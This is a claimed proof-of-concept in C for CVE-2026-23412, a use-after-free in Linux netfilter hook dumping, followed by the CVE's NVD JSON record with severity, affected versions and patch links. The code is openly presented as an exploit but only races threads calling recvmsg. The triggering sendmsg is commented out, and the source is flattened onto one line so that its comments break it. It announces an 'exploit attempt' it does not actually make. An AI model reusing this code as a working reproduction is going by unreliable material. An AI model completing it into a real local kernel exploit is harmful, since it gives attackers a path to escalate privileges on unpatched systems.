CVE-2026-23412

/* * PoC for CVE-2026-23412 * Conceptual code to trigger the race condition in netfilter hook dumping. * Compile: gcc -o poc cve-2026-23412.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #define NETLINK_NETFILTER 12 // Simulate concurrent netlink operations to trigger UaF void* concurrent_dump(void* arg) { int sock_fd; struct sockaddr_nl sa; char buf[1024]; struct iovec iov = { buf, sizeof(buf) }; struct msghdr msg = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 }; // Create a Netlink socket sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("socket"); return NULL; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = getpid() + (long)arg; // Unique PID per thread sa.nl_groups = 0; if (bind(sock_fd, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); close(sock_fd); return NULL; } // Loop to stress the hook dumping mechanism // In a real exploit, specific Netlink messages (NFNL_MSG_HOOK_GET) would be sent for (int i = 0; i < 5000; i++) { recvmsg(sock_fd, &msg, 0); // sendmsg(sock_fd, &msg, 0); // Trigger hook dump } close(sock_fd); return NULL; } int main() { pthread_t t1, t2, t3, t4; printf("Starting PoC for CVE-2026-23412..."); printf("Spawning threads to race on nfnetlink_hooks..."); // Create multiple threads to increase race window likelihood pthread_create(&t1, NULL, concurrent_dump, (void*)1); pthread_create(&t2, NULL, concurrent_dump, (void*)2); pthread_create(&t3, NULL, concurrent_dump, (void*)3); pthread_create(&t4, NULL, concurrent_dump, (void*)4); pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); pthread_join(t4, NULL); printf("Exploit attempt finished. Check dmesg for KASAN reports."); return 0; }

{"cve": {"id": "CVE-2026-23412", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-02T12:16:20.270", "lastModified": "2026-04-27T14:16:31.043", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: bpf: defer hook memory release until rcu readers are done\n\nYiming Qian reports UaF when concurrent process is dumping hooks via\nnfnetlink_hooks:\n\nBUG: KASAN: slab-use-after-free in nfnl_hook_dump_one.isra.0+0xe71/0x10f0\nRead of size 8 at addr ffff888003edbf88 by task poc/79\nCall Trace:\n <TASK>\n nfnl_hook_dump_one.isra.0+0xe71/0x10f0\n netlink_dump+0x554/0x12b0\n nfnl_hook_get+0x176/0x230\n [..]\n\nDefer release until after concurrent readers have completed."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4.1", "versionEndExcluding": "6.6.130", "matchCriteriaId": "5ED2C179-5F1F-4BB1-9DEA-A21F23BC569B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:-:*:*:*:*:*:*", "matchCriteriaId": "DE0B0BF6-0EEF-4FAD-927D-7A0DD77BEE75"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/24f90fa3994b992d1a09003a3db2599330a5232a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/54244d54a971c26a0cd0a9073460ff71f3c51b32", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c25e0dec366ae99b7264324ce3c7cbaea34691f9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cb2bf5efdb02a2a59faf603604a1066e8266f349", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d016c216bc75c45128160593a77b864a04dbe7c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}